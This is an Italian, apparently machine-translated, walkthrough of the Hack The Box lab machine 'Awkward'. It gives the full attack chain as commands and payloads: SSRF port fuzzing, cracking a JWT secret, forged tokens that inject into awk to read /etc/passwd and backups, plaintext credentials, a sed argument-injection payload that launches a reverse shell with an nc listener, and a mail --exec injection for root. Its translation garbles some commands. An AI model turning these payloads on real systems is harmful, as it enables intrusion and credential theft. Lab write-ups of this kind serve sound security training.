Awkward Hack The Box Soluzione — [ Htb ]
Scritto Htb imbarazzante
Hey ragazzi! Benvenuti nel mio blog, quindi oggi discuteremo di una scomoda macchina hack-the-box che presenta una vulnerabilità SSRF per ottenere l'accesso al file system interno, inoltre esiste una vulnerabilità LFI per ottenere la shell utente di quella macchina e abusando il comando mail possiamo ottenere i privilegi di root di quel sistema
Enumerazione:
Quindi, come al solito, iniziamo con la nostra scansione nmap
PASSO 1: nmap -sC -sV 10.10.11.185
Qui c'è il solito porto ei servizi sono aperti
Quindi ci consente di visitare il sito Web sul browser che èhttp://10.10.11.185
Ora verrà reindirizzato al filehttp://hat-valley.htb/quindi aggiungiamolo al tuo file /etc/hosts per accedere a quel sito web
Ora puoi essere in grado di accedere a quel sito web
Successivamente, ho controllato il codice sorgente per qualsiasi cosa interessante.
E ho trovato un file javascript interessante che app.js ma il codice è enorme
Copiamo e incolliamo quel codice inhttps://codepen.io/pen/che rende vscode migliore o aperto
Analizzando ulteriormente questo codice è possibile trovare più token JWT codificati con base64 che non è interessante
Qui dobbiamo analizzare l'intero codice app.js per ottenere cose interessanti
Analizzando ulteriormente questo codice ho trovato alcune directory interessanti
Per prima cosa ho trovato il percorso /hr
che ha reindirizzato a una pagina di accesso. Ho provato con la password amministratore predefinita ma non funziona
Vedendo il codice sopra puoi notare che baseurl = API e ci sono altre directory all-leave e submit-leave nell'API perché concatena baseurl + all-leave e baseurl + submit-leave che è interessante quindi ora tu può essere in grado di comprendere questo codice e la stessa spiegazione per le due immagini sottostanti cambierà solo la directory
Quindi controlliamo i /api/staff-details
Ohhh!!!! Genera l'errore del token JWT malformato, penso che sia un errore di token, quindi passiamolo senza token
PASSO 2: arricciare -shttp://hat-valley.htb/api/staff-details| jq
Bummm!!! Ora otterrai il nome utente e la password di ogni utente disponibile
Quindi creiamo questo hash usando john ma sfortunatamente l'hash è stato crackato dahttps://hashes.com/en/tools/hash_identifierqui sono andato a trovare il formato hash ma si è rotto grazie
username = christopher.jones password=chris123 quindi accedi con questo nome utente e password
Bummm!!! Abbiamo il cruscotto
Quindi, ho fatto clic sul pulsante di aggiornamento
E cattura quella richiesta in rutto e ho trovato qualcosa di sbagliato con quella richiesta
Vulnerabilità SSRF:
Perché c'è un parametro URL che può portare all'attacco SSRF
Usando quella vulnerabilità SSRF possiamo accedere al file interno di quel sistema che non è pubblicamente disponibile
Dai un'occhiata all'articolo qui sotto
Ho verificato conhttp://localhost:80che èhttp://hat-vally.htb
Ora puoi confermare che si tratta di un SSRF. Urrrrh!!!
Quindi fuzziamo la porta per ottenere l'accesso interno a quel sistema
PASSO 3: ffuff -u 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"' -w /usr/share/seclists/Fuzzing/4-digits-0000–9999.txt -fs 0
Qui ho trovato 3002 interessante, quindi controlliamolo. ma ottieni la pagina vuota
Metti le virgolette doppie su "http://localhost:3002"
Ora puoi accedere a quella pagina interna
Inclusione file locale:
Dopo aver analizzato questa pagina ho trovato un interessante endpoint API che presenta una vulnerabilità LFI
Analizzando ulteriormente questo codice ho trovato qualcosa di interessante nel comando AWK Normalmente lo strumento AWK Linux ed è un linguaggio di programmazione (Check out In google)
E il nome della casella ha un senso imbarazzante , ma personalmente penso che sia disponibile nell'escalation dei privilegi dell'utente a root (controlla questo in tryhackme Room)
Qui puoi notare che il comando awk passa la variabile utente che ha decodificato il token JWT di un utente
Ma per abusarne abbiamo bisogno della chiave segreta perché usando quella chiave segreta possiamo creare il nostro token per qualsiasi utente
BruteForceing della chiave debole:
Mentre accedi con l'utente di Christoper puoi essere in grado di vedere il token nel rutto
Dobbiamo decifrare questo token per Secrete Key usando John
Prima copia e incolla il token JWT nel file
FASE 4: john JWT.txt — wordlist=rockyou.txt — format=HMAC-SHA256
Bummm!!! Ora puoi ottenere la chiave segreta
Ora la firma è verificata
Per prima cosa controlliamo il file /etc/passwd
Quindi arricciamo quell'endpoint con questo token JWT
FASE 5: arricciarehttp://hat-valley.htb/api/all-leave— intestazione “cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii
8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzY5MDQ3Mjh9.9kHRYTuO1Oh0ykcKpTiNmCH8jeg4rL8J3 1znekRdaaE”
Booomm!!!! Ora elencherà il file /etc/passwd
Qui trovi alcuni utenti come bean e Christine
E ho controllato le chiavi ssh per entrambi gli utenti ma non siamo in grado di recuperarle
Quindi andiamo avanti per il file .bashrc
Quindi arriccialo e otterrai il file .bashrc
Analizzando ulteriormente questo file bash, puoi notare che esiste un file di backup che ha senso
Diamo questa posizione di backup nella chiave JWT
Successivamente arriccia questo token con quell'endpoint
FASE 6: arricciarehttp://hat-valley.htb/api/all-leave— intestazione “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cF9ob21lLnNoICciLCJpYXQiOjE2NzY5MDQ3Mjh 9.4LyhastbruMYsHH8UcKped_Pic7mjvSD2fSkVZWfC1w” — uscita backup.sh
Ora otterrai quel file backup.sh e su quel file puoi vedere il file backup.tar
FASE 7: arricciarehttp://hat-valley.htb/api/all-leave— intestazione “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3og JyIsImlhdCI6MTY3NjkwNDcyOH0.sE5i7Nx06DGh1uhK_nyMIhGn2bCt_nxoDDtu9P7ogk0” — output bean_backup_final.tar.gz
Quindi estrai quel file e otterrai il file di backup di quella macchina
E sono disponibili anche alcuni file e directory nascosti
PASSO 8: ls -al
Quindi, apri il file
PASSO 9 : cat /.config/xpad/content-DS1ZS1
Qui puoi trovare alcuni crediti bean per il login SSH
Contrassegno utente:
PASSO 10: bean [email protected]
PASSO 11: cat utente.txt
Boooomm!!! Ora ottieni la userflag di quella macchina
Dopo aver ottenuto la shell ho controllato sudo binary abuse e linpeas ma non funzionerà
Successivamente, ho controllato il file host per vhost o sottodominio interessanti
Quindi aggiungiamolo al nostro file /etc/hosts per accedere a quella pagina web
durante l'accesso a quella pagina richiede un nome utente e una password
Quindi ho controllato il file di configurazione in nginx che è /etc/nginx e ho ottenuto il nome utente e la password nell'hash
ma probabilmente non sarò in grado di decifrare quell'hash, quindi ho usato i crediti SSH per accedere a quell'applicazione
Nome utente: admin Password: 014mrbeanrules!#P
Bummm!!! Otteniamo l'accesso a quell'applicazione e all'applicazione Shopping
Quindi sono andato su shop.php
Successivamente, ho rivisto quel codice in /var/www/store per qualsiasi cosa interessante
Nel codice, ho trovato qualcosa di strano nel comando Sed che può portare all'esecuzione di codice remoto ma non possiamo sfruttarlo direttamente nell'applicazione web se eseguire la shell inversa mostra un cattivo carattere rilevato !!
Quindi, per evitare ciò, impostiamo una shell inversa in quella macchina ed eseguiamo quel file su quell'applicazione
Innanzitutto, aggiungi qualsiasi prodotto al carrello
Successivamente, controlla Mycart puoi vedere quel prodotto
E puoi vedere questo carrello su quella macchina se si aggiunge a quel carrello
Quindi il nostro piano è di abusare del comando sed per ottenere la shell inversa di quella macchina e possiamo essere in grado di eseguire il comando sul pulsante Rimuovi se sono necessarie ulteriori informazioni sull'abuso del comando SED nell'articolo seguente
Per prima cosa abbiamo bisogno di una semplice shell inversa da revshells.com
E dai il permesso di esecuzione a quel file
PASSO 12: chmod 777 evilshell.sh
Quindi imposta il tuo listener nel tuo computer locale
PASSO 13: nc -lvp 9001
Innanzitutto, aggiungi il prodotto al carrello
Successivamente, fai clic sul pulsante Rimuovi e acquisisci la richiesta
E modifica il parametro dell'articolo
'+-e+"1e+/tmp/evilshell.sh"+/tmp/evilshell.sh+'
Successivamente, ho controllato il processo nella macchina dell'utente
PASSO 14: ps -eaf
Qui puoi notare che inotifywait sta monitorando /var/www/private/leave_request quindi controlliamolo in www-data
Quindi passiamo un argomento a quel file su cosa è successo in quel processo
E ho scoperto che eseguendo il comando mail con privilegi di root
Quindi ci consente di passare la shell inversa su leave_request.csv ed esegue il comando mail con privilegio di root
Innanzitutto, crea una shell inversa sulla macchina dell'utente
Quindi imposta il tuo listener sulla macchina locale
PASSO 15: nc -lvp 9002
Successivamente vai su www-data machine ed esegui il comando seguente
echo '" --exec="\!/tmp/evilshell.sh"' >> leave_requests.csv
Bummmmm!!! Ora ottieni quella shell di root di quella macchina
Spero che tu capisca questo articolo Se ti piace il mio articolo per favore fai un applauso e se ti piace il mio lavoro fai una donazione al mio esame OSCP

![Che cos'è un elenco collegato, comunque? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































